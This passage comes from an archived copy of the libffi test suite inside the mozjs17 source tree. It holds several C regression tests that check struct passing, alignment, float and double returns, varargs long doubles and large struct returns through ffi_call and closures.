NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = &cls_struct_type2; dbl_arg_types[3] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 3, &cls_struct_type1, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = NULL; ffi_call(&cif, FFI_FN(B_fn), &res_dbl, args_dbl); /* { dg-output "1 7 12 127 99 2 9: 15 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); CHECK(ffi_prep_closure_loc(pcl, &cif, B_gn, NULL, code) == FFI_OK); res_dbl = ((B(*)(A, B, C))(code))(e_dbl, f_dbl, g_dbl); /* { dg-output "\n1 7 12 127 99 2 9: 15 242 143" } */ CHECK( res_dbl.x.a == (e_dbl.a + f_dbl.x.a + g_dbl.d)); CHECK( res_dbl.x.b == (e_dbl.b + f_dbl.x.b + f_dbl.y + g_dbl.e)); CHECK( res_dbl.y == (e_dbl.b + f_dbl.x.b + g_dbl.e)); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/nested_struct1.c0000664000175000017500000001165012106270662026061 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure passing with different structure size. Contains structs as parameter of the struct itself. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_16byte1 { double a; float b; int c; } cls_struct_16byte1; typedef struct cls_struct_16byte2 { int ii; double dd; float ff; } cls_struct_16byte2; typedef struct cls_struct_combined { cls_struct_16byte1 d; cls_struct_16byte2 e; } cls_struct_combined; cls_struct_combined cls_struct_combined_fn(struct cls_struct_16byte1 b0, struct cls_struct_16byte2 b1, struct cls_struct_combined b2, struct cls_struct_16byte1 b3) { struct cls_struct_combined result; result.d.a = b0.a + b1.dd + b2.d.a; result.d.b = b0.b + b1.ff + b2.d.b; result.d.c = b0.c + b1.ii + b2.d.c; result.e.ii = b0.c + b1.ii + b2.e.ii; result.e.dd = b0.a + b1.dd + b2.e.dd; result.e.ff = b0.b + b1.ff + b2.e.ff; printf("%g %g %d %d %g %g %g %g %d %d %g %g %g %g %d: %g %g %d %d %g %g\n", b0.a, b0.b, b0.c, b1.ii, b1.dd, b1.ff, b2.d.a, b2.d.b, b2.d.c, b2.e.ii, b2.e.dd, b2.e.ff, b3.a, b3.b, b3.c, result.d.a, result.d.b, result.d.c, result.e.ii, result.e.dd, result.e.ff); return result; } static void cls_struct_combined_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_16byte1 b0; struct cls_struct_16byte2 b1; struct cls_struct_combined b2; struct cls_struct_16byte1 b3; b0 = *(struct cls_struct_16byte1*)(args[0]); b1 = *(struct cls_struct_16byte2*)(args[1]); b2 = *(struct cls_struct_combined*)(args[2]); b3 = *(struct cls_struct_16byte1*)(args[3]); *(cls_struct_combined*)resp = cls_struct_combined_fn(b0, b1, b2, b3); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[5]; ffi_type* cls_struct_fields1[5]; ffi_type* cls_struct_fields2[5]; ffi_type cls_struct_type, cls_struct_type1, cls_struct_type2; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; cls_struct_type1.size = 0; cls_struct_type1.alignment = 0; cls_struct_type1.type = FFI_TYPE_STRUCT; cls_struct_type1.elements = cls_struct_fields1; cls_struct_type2.size = 0; cls_struct_type2.alignment = 0; cls_struct_type2.type = FFI_TYPE_STRUCT; cls_struct_type2.elements = cls_struct_fields2; struct cls_struct_16byte1 e_dbl = { 9.0, 2.0, 6}; struct cls_struct_16byte2 f_dbl = { 1, 2.0, 3.0}; struct cls_struct_combined g_dbl = {{4.0, 5.0, 6}, {3, 1.0, 8.0}}; struct cls_struct_16byte1 h_dbl = { 3.0, 2.0, 4}; struct cls_struct_combined res_dbl; cls_struct_fields[0] = &ffi_type_double; cls_struct_fields[1] = &ffi_type_float; cls_struct_fields[2] = &ffi_type_sint; cls_struct_fields[3] = NULL; cls_struct_fields1[0] = &ffi_type_sint; cls_struct_fields1[1] = &ffi_type_double; cls_struct_fields1[2] = &ffi_type_float; cls_struct_fields1[3] = NULL; cls_struct_fields2[0] = &cls_struct_type; cls_struct_fields2[1] = &cls_struct_type1; cls_struct_fields2[2] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type1; dbl_arg_types[2] = &cls_struct_type2; dbl_arg_types[3] = &cls_struct_type; dbl_arg_types[4] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &cls_struct_type2, dbl_arg_types) == FFI_OK); args_dbl[0] = &e_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = &g_dbl; args_dbl[3] = &h_dbl; args_dbl[4] = NULL; ffi_call(&cif, FFI_FN(cls_struct_combined_fn), &res_dbl, args_dbl); /* { dg-output "9 2 6 1 2 3 4 5 6 3 1 8 3 2 4: 15 10 13 10 12 13" } */ CHECK( res_dbl.d.a == (e_dbl.a + f_dbl.dd + g_dbl.d.a)); CHECK( res_dbl.d.b == (e_dbl.b + f_dbl.ff + g_dbl.d.b)); CHECK( res_dbl.d.c == (e_dbl.c + f_dbl.ii + g_dbl.d.c)); CHECK( res_dbl.e.ii == (e_dbl.c + f_dbl.ii + g_dbl.e.ii)); CHECK( res_dbl.e.dd == (e_dbl.a + f_dbl.dd + g_dbl.e.dd)); CHECK( res_dbl.e.ff == (e_dbl.b + f_dbl.ff + g_dbl.e.ff)); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_combined_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_combined(*)(cls_struct_16byte1, cls_struct_16byte2, cls_struct_combined, cls_struct_16byte1)) (code))(e_dbl, f_dbl, g_dbl, h_dbl); /* { dg-output "\n9 2 6 1 2 3 4 5 6 3 1 8 3 2 4: 15 10 13 10 12 13" } */ CHECK( res_dbl.d.a == (e_dbl.a + f_dbl.dd + g_dbl.d.a)); CHECK( res_dbl.d.b == (e_dbl.b + f_dbl.ff + g_dbl.d.b)); CHECK( res_dbl.d.c == (e_dbl.c + f_dbl.ii + g_dbl.d.c)); CHECK( res_dbl.e.ii == (e_dbl.c + f_dbl.ii + g_dbl.e.ii)); CHECK( res_dbl.e.dd == (e_dbl.a + f_dbl.dd + g_dbl.e.dd)); CHECK( res_dbl.e.ff == (e_dbl.b + f_dbl.ff + g_dbl.e.ff)); // CHECK( 1 == 0); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_align_uint16.c0000664000175000017500000000473412106270662026260 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check structure alignment of uint16. Limitations: none. PR: none. Originator: 20031203 */ /* { dg-do run } */ #include "ffitest.h" typedef struct cls_struct_align { unsigned char a; unsigned short b; unsigned char c; } cls_struct_align; cls_struct_align cls_struct_align_fn(struct cls_struct_align a1, struct cls_struct_align a2) { struct cls_struct_align result; result.a = a1.a + a2.a; result.b = a1.b + a2.b; result.c = a1.c + a2.c; printf("%d %d %d %d %d %d: %d %d %d\n", a1.a, a1.b, a1.c, a2.a, a2.b, a2.c, result.a, result.b, result.c); return result; } static void cls_struct_align_gn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { struct cls_struct_align a1, a2; a1 = *(struct cls_struct_align*)(args[0]); a2 = *(struct cls_struct_align*)(args[1]); *(cls_struct_align*)resp = cls_struct_align_fn(a1, a2); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args_dbl[5]; ffi_type* cls_struct_fields[4]; ffi_type cls_struct_type; ffi_type* dbl_arg_types[5]; cls_struct_type.size = 0; cls_struct_type.alignment = 0; cls_struct_type.type = FFI_TYPE_STRUCT; cls_struct_type.elements = cls_struct_fields; struct cls_struct_align g_dbl = { 12, 4951, 127 }; struct cls_struct_align f_dbl = { 1, 9320, 13 }; struct cls_struct_align res_dbl; cls_struct_fields[0] = &ffi_type_uchar; cls_struct_fields[1] = &ffi_type_ushort; cls_struct_fields[2] = &ffi_type_uchar; cls_struct_fields[3] = NULL; dbl_arg_types[0] = &cls_struct_type; dbl_arg_types[1] = &cls_struct_type; dbl_arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &cls_struct_type, dbl_arg_types) == FFI_OK); args_dbl[0] = &g_dbl; args_dbl[1] = &f_dbl; args_dbl[2] = NULL; ffi_call(&cif, FFI_FN(cls_struct_align_fn), &res_dbl, args_dbl); /* { dg-output "12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ CHECK(ffi_prep_closure_loc(pcl, &cif, cls_struct_align_gn, NULL, code) == FFI_OK); res_dbl = ((cls_struct_align(*)(cls_struct_align, cls_struct_align))(code))(g_dbl, f_dbl); /* { dg-output "\n12 4951 127 1 9320 13: 13 14271 140" } */ printf("res: %d %d %d\n", res_dbl.a, res_dbl.b, res_dbl.c); /* { dg-output "\nres: 13 14271 140" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_uchar.c0000664000175000017500000000206212106270662025052 0ustar sstanglsstangl/* Area: closure_call Purpose: Check return value uchar. Limitations: none. PR: none. Originator: 20030828 */ /* { dg-do run } */ #include "ffitest.h" static void cls_ret_uchar_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { *(ffi_arg*)resp = *(unsigned char *)args[0]; printf("%d: %d\n",*(unsigned char *)args[0], (int)*(ffi_arg *)(resp)); } typedef unsigned char (*cls_ret_uchar)(unsigned char); int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_type * cl_arg_types[2]; unsigned char res; cl_arg_types[0] = &ffi_type_uchar; cl_arg_types[1] = NULL; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 1, &ffi_type_uchar, cl_arg_types) == FFI_OK); CHECK(ffi_prep_closure_loc(pcl, &cif, cls_ret_uchar_fn, NULL, code) == FFI_OK); res = (*((cls_ret_uchar)code))(127); /* { dg-output "127: 127" } */ printf("res: %d\n",res); /* { dg-output "\nres: 127" } */ exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_dbl2.c0000664000175000017500000000175512106270662025341 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value double. Limitations: none. PR: none. Originator: 20050212 */ /* { dg-do run } */ #include "ffitest.h" static double return_dbl(double dbl1, double dbl2, unsigned int in3, double dbl4) { return dbl1 + dbl2 + in3 + dbl4; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; double dbl1, dbl2, dbl4, rdbl; unsigned int in3; args[0] = &ffi_type_double; args[1] = &ffi_type_double; args[2] = &ffi_type_uint; args[3] = &ffi_type_double; values[0] = &dbl1; values[1] = &dbl2; values[2] = &in3; values[3] = &dbl4; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 4, &ffi_type_double, args) == FFI_OK); dbl1 = 127.0; dbl2 = 128.0; in3 = 255; dbl4 = 512.7; ffi_call(&cif, FFI_FN(return_dbl), &rdbl, values); printf ("%f vs %f\n", rdbl, return_dbl(dbl1, dbl2, in3, dbl4)); CHECK(rdbl == dbl1 + dbl2 + in3 + dbl4); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/many.c0000664000175000017500000000252612106270662024060 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value float, with many arguments Limitations: none. PR: none. Originator: From the original ffitest.c */ /* { dg-do run } */ #include "ffitest.h" #include static float many(float f1, float f2, float f3, float f4, float f5, float f6, float f7, float f8, float f9, float f10, float f11, float f12, float f13) { #if 0 printf("%f %f %f %f %f %f %f %f %f %f %f %f %f\n", (double) f1, (double) f2, (double) f3, (double) f4, (double) f5, (double) f6, (double) f7, (double) f8, (double) f9, (double) f10, (double) f11, (double) f12, (double) f13); #endif return ((f1/f2+f3/f4+f5/f6+f7/f8+f9/f10+f11/f12) * f13); } int main (void) { ffi_cif cif; ffi_type *args[13]; void *values[13]; float fa[13]; float f, ff; int i; for (i = 0; i < 13; i++) { args[i] = &ffi_type_float; values[i] = &fa[i]; fa[i] = (float) i; } /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 13, &ffi_type_float, args) == FFI_OK); ffi_call(&cif, FFI_FN(many), &f, values); ff = many(fa[0], fa[1], fa[2], fa[3], fa[4], fa[5], fa[6], fa[7], fa[8], fa[9], fa[10],fa[11],fa[12]); if (f - ff < FLT_EPSILON) exit(0); else abort(); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/return_fl1.c0000664000175000017500000000136312106270662025173 0ustar sstanglsstangl/* Area: ffi_call Purpose: Check return value float. Limitations: none. PR: none. Originator: 20050212 */ /* { dg-do run } */ #include "ffitest.h" static float return_fl(float fl1, float fl2) { return fl1 + fl2; } int main (void) { ffi_cif cif; ffi_type *args[MAX_ARGS]; void *values[MAX_ARGS]; float fl1, fl2, rfl; args[0] = &ffi_type_float; args[1] = &ffi_type_float; values[0] = &fl1; values[1] = &fl2; /* Initialize the cif */ CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_float, args) == FFI_OK); fl1 = 127.0; fl2 = 128.0; ffi_call(&cif, FFI_FN(return_fl), &rfl, values); printf ("%f vs %f\n", rfl, return_fl(fl1, fl2)); CHECK(rfl == fl1 + fl2); exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/cls_longdouble_va.c0000664000175000017500000000271612106270662026576 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Test long doubles passed in variable argument lists. Limitations: none. PR: none. Originator: Blake Chaffin 6/6/2007 */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ /* { dg-output "" { xfail avr32*-*-* x86_64-*-mingw* } } */ /* { dg-skip-if "" arm*-*-* { "-mfloat-abi=hard" } { "" } } */ #include "ffitest.h" static void cls_longdouble_va_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { char* format = *(char**)args[0]; long double ldValue = *(long double*)args[1]; *(ffi_arg*)resp = printf(format, ldValue); } int main (void) { ffi_cif cif; void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); void* args[3]; ffi_type* arg_types[3]; char* format = "%.1Lf\n"; long double ldArg = 7; ffi_arg res = 0; arg_types[0] = &ffi_type_pointer; arg_types[1] = &ffi_type_longdouble; arg_types[2] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 2, &ffi_type_sint, arg_types) == FFI_OK); args[0] = &format; args[1] = &ldArg; args[2] = NULL; ffi_call(&cif, FFI_FN(printf), &res, args); // { dg-output "7.0" } printf("res: %d\n", (int) res); // { dg-output "\nres: 4" } CHECK(ffi_prep_closure_loc(pcl, &cif, cls_longdouble_va_fn, NULL, code) == FFI_OK); res = ((int(*)(char*, long double))(code))(format, ldArg); // { dg-output "\n7.0" } printf("res: %d\n", (int) res); // { dg-output "\nres: 4" } exit(0); } mozjs17.0.0/js/src/ctypes/libffi/testsuite/libffi.call/huge_struct.c0000664000175000017500000003401012106270662025441 0ustar sstanglsstangl/* Area: ffi_call, closure_call Purpose: Check large structure returns. Limitations: none. PR: none. Originator: Blake Chaffin 6/18/2007 */ /* { dg-excess-errors "" { target x86_64-*-mingw* x86_64-*-cygwin* } } */ /* { dg-do run { xfail strongarm*-*-* xscale*-*-* } } */ /* { dg-options -mlong-double-128 { target powerpc64*-*-* } } */ /* { dg-output "" { xfail x86_64-*-mingw* x86_64-*-cygwin* } } */ #include "ffitest.h" typedef struct BigStruct{ uint8_t a; int8_t b; uint16_t c; int16_t d; uint32_t e; int32_t f; uint64_t g; int64_t h; float i; double j; long double k; char* l; uint8_t m; int8_t n; uint16_t o; int16_t p; uint32_t q; int32_t r; uint64_t s; int64_t t; float u; double v; long double w; char* x; uint8_t y; int8_t z; uint16_t aa; int16_t bb; uint32_t cc; int32_t dd; uint64_t ee; int64_t ff; float gg; double hh; long double ii; char* jj; uint8_t kk; int8_t ll; uint16_t mm; int16_t nn; uint32_t oo; int32_t pp; uint64_t qq; int64_t rr; float ss; double tt; long double uu; char* vv; uint8_t ww; int8_t xx; } BigStruct; BigStruct test_large_fn( uint8_t ui8_1, int8_t si8_1, uint16_t ui16_1, int16_t si16_1, uint32_t ui32_1, int32_t si32_1, uint64_t ui64_1, int64_t si64_1, float f_1, double d_1, long double ld_1, char* p_1, uint8_t ui8_2, int8_t si8_2, uint16_t ui16_2, int16_t si16_2, uint32_t ui32_2, int32_t si32_2, uint64_t ui64_2, int64_t si64_2, float f_2, double d_2, long double ld_2, char* p_2, uint8_t ui8_3, int8_t si8_3, uint16_t ui16_3, int16_t si16_3, uint32_t ui32_3, int32_t si32_3, uint64_t ui64_3, int64_t si64_3, float f_3, double d_3, long double ld_3, char* p_3, uint8_t ui8_4, int8_t si8_4, uint16_t ui16_4, int16_t si16_4, uint32_t ui32_4, int32_t si32_4, uint64_t ui64_4, int64_t si64_4, float f_4, double d_4, long double ld_4, char* p_4, uint8_t ui8_5, int8_t si8_5) { BigStruct retVal = { ui8_1 + 1, si8_1 + 1, ui16_1 + 1, si16_1 + 1, ui32_1 + 1, si32_1 + 1, ui64_1 + 1, si64_1 + 1, f_1 + 1, d_1 + 1, ld_1 + 1, (char*)((intptr_t)p_1 + 1), ui8_2 + 2, si8_2 + 2, ui16_2 + 2, si16_2 + 2, ui32_2 + 2, si32_2 + 2, ui64_2 + 2, si64_2 + 2, f_2 + 2, d_2 + 2, ld_2 + 2, (char*)((intptr_t)p_2 + 2), ui8_3 + 3, si8_3 + 3, ui16_3 + 3, si16_3 + 3, ui32_3 + 3, si32_3 + 3, ui64_3 + 3, si64_3 + 3, f_3 + 3, d_3 + 3, ld_3 + 3, (char*)((intptr_t)p_3 + 3), ui8_4 + 4, si8_4 + 4, ui16_4 + 4, si16_4 + 4, ui32_4 + 4, si32_4 + 4, ui64_4 + 4, si64_4 + 4, f_4 + 4, d_4 + 4, ld_4 + 4, (char*)((intptr_t)p_4 + 4), ui8_5 + 5, si8_5 + 5}; printf("%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx %hhu %hhd: " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx %hhu %hhd\n", ui8_1, si8_1, ui16_1, si16_1, ui32_1, si32_1, ui64_1, si64_1, f_1, d_1, ld_1, (unsigned long)p_1, ui8_2, si8_2, ui16_2, si16_2, ui32_2, si32_2, ui64_2, si64_2, f_2, d_2, ld_2, (unsigned long)p_2, ui8_3, si8_3, ui16_3, si16_3, ui32_3, si32_3, ui64_3, si64_3, f_3, d_3, ld_3, (unsigned long)p_3, ui8_4, si8_4, ui16_4, si16_4, ui32_4, si32_4, ui64_4, si64_4, f_4, d_4, ld_4, (unsigned long)p_4, ui8_5, si8_5, retVal.a, retVal.b, retVal.c, retVal.d, retVal.e, retVal.f, retVal.g, retVal.h, retVal.i, retVal.j, retVal.k, (unsigned long)retVal.l, retVal.m, retVal.n, retVal.o, retVal.p, retVal.q, retVal.r, retVal.s, retVal.t, retVal.u, retVal.v, retVal.w, (unsigned long)retVal.x, retVal.y, retVal.z, retVal.aa, retVal.bb, retVal.cc, retVal.dd, retVal.ee, retVal.ff, retVal.gg, retVal.hh, retVal.ii, (unsigned long)retVal.jj, retVal.kk, retVal.ll, retVal.mm, retVal.nn, retVal.oo, retVal.pp, retVal.qq, retVal.rr, retVal.ss, retVal.tt, retVal.uu, (unsigned long)retVal.vv, retVal.ww, retVal.xx); return retVal; } static void cls_large_fn(ffi_cif* cif __UNUSED__, void* resp, void** args, void* userdata __UNUSED__) { uint8_t ui8_1 = *(uint8_t*)args[0]; int8_t si8_1 = *(int8_t*)args[1]; uint16_t ui16_1 = *(uint16_t*)args[2]; int16_t si16_1 = *(int16_t*)args[3]; uint32_t ui32_1 = *(uint32_t*)args[4]; int32_t si32_1 = *(int32_t*)args[5]; uint64_t ui64_1 = *(uint64_t*)args[6]; int64_t si64_1 = *(int64_t*)args[7]; float f_1 = *(float*)args[8]; double d_1 = *(double*)args[9]; long double ld_1 = *(long double*)args[10]; char* p_1 = *(char**)args[11]; uint8_t ui8_2 = *(uint8_t*)args[12]; int8_t si8_2 = *(int8_t*)args[13]; uint16_t ui16_2 = *(uint16_t*)args[14]; int16_t si16_2 = *(int16_t*)args[15]; uint32_t ui32_2 = *(uint32_t*)args[16]; int32_t si32_2 = *(int32_t*)args[17]; uint64_t ui64_2 = *(uint64_t*)args[18]; int64_t si64_2 = *(int64_t*)args[19]; float f_2 = *(float*)args[20]; double d_2 = *(double*)args[21]; long double ld_2 = *(long double*)args[22]; char* p_2 = *(char**)args[23]; uint8_t ui8_3 = *(uint8_t*)args[24]; int8_t si8_3 = *(int8_t*)args[25]; uint16_t ui16_3 = *(uint16_t*)args[26]; int16_t si16_3 = *(int16_t*)args[27]; uint32_t ui32_3 = *(uint32_t*)args[28]; int32_t si32_3 = *(int32_t*)args[29]; uint64_t ui64_3 = *(uint64_t*)args[30]; int64_t si64_3 = *(int64_t*)args[31]; float f_3 = *(float*)args[32]; double d_3 = *(double*)args[33]; long double ld_3 = *(long double*)args[34]; char* p_3 = *(char**)args[35]; uint8_t ui8_4 = *(uint8_t*)args[36]; int8_t si8_4 = *(int8_t*)args[37]; uint16_t ui16_4 = *(uint16_t*)args[38]; int16_t si16_4 = *(int16_t*)args[39]; uint32_t ui32_4 = *(uint32_t*)args[40]; int32_t si32_4 = *(int32_t*)args[41]; uint64_t ui64_4 = *(uint64_t*)args[42]; int64_t si64_4 = *(int64_t*)args[43]; float f_4 = *(float*)args[44]; double d_4 = *(double*)args[45]; long double ld_4 = *(long double*)args[46]; char* p_4 = *(char**)args[47]; uint8_t ui8_5 = *(uint8_t*)args[48]; int8_t si8_5 = *(int8_t*)args[49]; *(BigStruct*)resp = test_large_fn( ui8_1, si8_1, ui16_1, si16_1, ui32_1, si32_1, ui64_1, si64_1, f_1, d_1, ld_1, p_1, ui8_2, si8_2, ui16_2, si16_2, ui32_2, si32_2, ui64_2, si64_2, f_2, d_2, ld_2, p_2, ui8_3, si8_3, ui16_3, si16_3, ui32_3, si32_3, ui64_3, si64_3, f_3, d_3, ld_3, p_3, ui8_4, si8_4, ui16_4, si16_4, ui32_4, si32_4, ui64_4, si64_4, f_4, d_4, ld_4, p_4, ui8_5, si8_5); } int main(int argc __UNUSED__, const char** argv __UNUSED__) { void *code; ffi_closure *pcl = ffi_closure_alloc(sizeof(ffi_closure), &code); ffi_cif cif; ffi_type* argTypes[51]; void* argValues[51]; ffi_type ret_struct_type; ffi_type* st_fields[51]; BigStruct retVal; memset (&retVal, 0, sizeof(retVal)); ret_struct_type.size = 0; ret_struct_type.alignment = 0; ret_struct_type.type = FFI_TYPE_STRUCT; ret_struct_type.elements = st_fields; st_fields[0] = st_fields[12] = st_fields[24] = st_fields[36] = st_fields[48] = &ffi_type_uint8; st_fields[1] = st_fields[13] = st_fields[25] = st_fields[37] = st_fields[49] = &ffi_type_sint8; st_fields[2] = st_fields[14] = st_fields[26] = st_fields[38] = &ffi_type_uint16; st_fields[3] = st_fields[15] = st_fields[27] = st_fields[39] = &ffi_type_sint16; st_fields[4] = st_fields[16] = st_fields[28] = st_fields[40] = &ffi_type_uint32; st_fields[5] = st_fields[17] = st_fields[29] = st_fields[41] = &ffi_type_sint32; st_fields[6] = st_fields[18] = st_fields[30] = st_fields[42] = &ffi_type_uint64; st_fields[7] = st_fields[19] = st_fields[31] = st_fields[43] = &ffi_type_sint64; st_fields[8] = st_fields[20] = st_fields[32] = st_fields[44] = &ffi_type_float; st_fields[9] = st_fields[21] = st_fields[33] = st_fields[45] = &ffi_type_double; st_fields[10] = st_fields[22] = st_fields[34] = st_fields[46] = &ffi_type_longdouble; st_fields[11] = st_fields[23] = st_fields[35] = st_fields[47] = &ffi_type_pointer; st_fields[50] = NULL; uint8_t ui8 = 1; int8_t si8 = 2; uint16_t ui16 = 3; int16_t si16 = 4; uint32_t ui32 = 5; int32_t si32 = 6; uint64_t ui64 = 7; int64_t si64 = 8; float f = 9; double d = 10; long double ld = 11; char* p = (char*)0x12345678; argTypes[0] = argTypes[12] = argTypes[24] = argTypes[36] = argTypes[48] = &ffi_type_uint8; argValues[0] = argValues[12] = argValues[24] = argValues[36] = argValues[48] = &ui8; argTypes[1] = argTypes[13] = argTypes[25] = argTypes[37] = argTypes[49] = &ffi_type_sint8; argValues[1] = argValues[13] = argValues[25] = argValues[37] = argValues[49] = &si8; argTypes[2] = argTypes[14] = argTypes[26] = argTypes[38] = &ffi_type_uint16; argValues[2] = argValues[14] = argValues[26] = argValues[38] = &ui16; argTypes[3] = argTypes[15] = argTypes[27] = argTypes[39] = &ffi_type_sint16; argValues[3] = argValues[15] = argValues[27] = argValues[39] = &si16; argTypes[4] = argTypes[16] = argTypes[28] = argTypes[40] = &ffi_type_uint32; argValues[4] = argValues[16] = argValues[28] = argValues[40] = &ui32; argTypes[5] = argTypes[17] = argTypes[29] = argTypes[41] = &ffi_type_sint32; argValues[5] = argValues[17] = argValues[29] = argValues[41] = &si32; argTypes[6] = argTypes[18] = argTypes[30] = argTypes[42] = &ffi_type_uint64; argValues[6] = argValues[18] = argValues[30] = argValues[42] = &ui64; argTypes[7] = argTypes[19] = argTypes[31] = argTypes[43] = &ffi_type_sint64; argValues[7] = argValues[19] = argValues[31] = argValues[43] = &si64; argTypes[8] = argTypes[20] = argTypes[32] = argTypes[44] = &ffi_type_float; argValues[8] = argValues[20] = argValues[32] = argValues[44] = &f; argTypes[9] = argTypes[21] = argTypes[33] = argTypes[45] = &ffi_type_double; argValues[9] = argValues[21] = argValues[33] = argValues[45] = &d; argTypes[10] = argTypes[22] = argTypes[34] = argTypes[46] = &ffi_type_longdouble; argValues[10] = argValues[22] = argValues[34] = argValues[46] = &ld; argTypes[11] = argTypes[23] = argTypes[35] = argTypes[47] = &ffi_type_pointer; argValues[11] = argValues[23] = argValues[35] = argValues[47] = &p; argTypes[50] = NULL; argValues[50] = NULL; CHECK(ffi_prep_cif(&cif, FFI_DEFAULT_ABI, 50, &ret_struct_type, argTypes) == FFI_OK); ffi_call(&cif, FFI_FN(test_large_fn), &retVal, argValues); // { dg-output "1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2 3 4 5 6 7 8 9 10 11 0x12345678 1 2: 2 3 4 5 6 7 8 9 10 11 12 0x12345679 3 4 5 6 7 8 9 10 11 12 13 0x1234567a 4 5 6 7 8 9 10 11 12 13 14 0x1234567b 5 6 7 8 9 10 11 12 13 14 15 0x1234567c 6 7" } printf("res: %hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx " "%hhu %hhd %hu %hd %u %d %" PRIu64 " %" PRId64 " %.0f %.0f %.0Lf %#lx %hhu %hhd\n", retVal.a, retVal.b, retVal.c, retVal.d, retVal.e, retVal.f, retVal.g, retVal.h, retVal.i, retVal.j, retVal.k, (unsigned long)retVal.l, retVal.m, retVal.n, retVal.o, retVal.p, retVal.q, retVal.r, retVal.s, retVal.t, retVal.u, retVal.v, retVal.w, (unsigned long)retVal.x, retVal.y, retVal.z, retVal.aa, retVal.bb, retVal.cc, retVal.dd, retVal.ee, retVal.ff, retVal.gg, retVal.hh, retVal.ii, (unsigned long)retVal.jj, retVal.kk, retVal.ll, retVal.mm, retVal.nn, retVal.oo, retVal.pp, retVal.qq, retVal.rr, retVal.ss, retVal.tt, retVal.uu, (unsigned long)retVal.vv, retVal.ww, retVal.xx); // { dg-output "\nres: 2 3 4 5 6 7 8 9 10 11 12 0x12345679 3 4 5 6 7 8 9 10 11 12 13 0x1234567a 4 5 6 7 8 9 10 11 12 13 14 0x1234567b 5 6 7 8 9 10 11 12 13 14 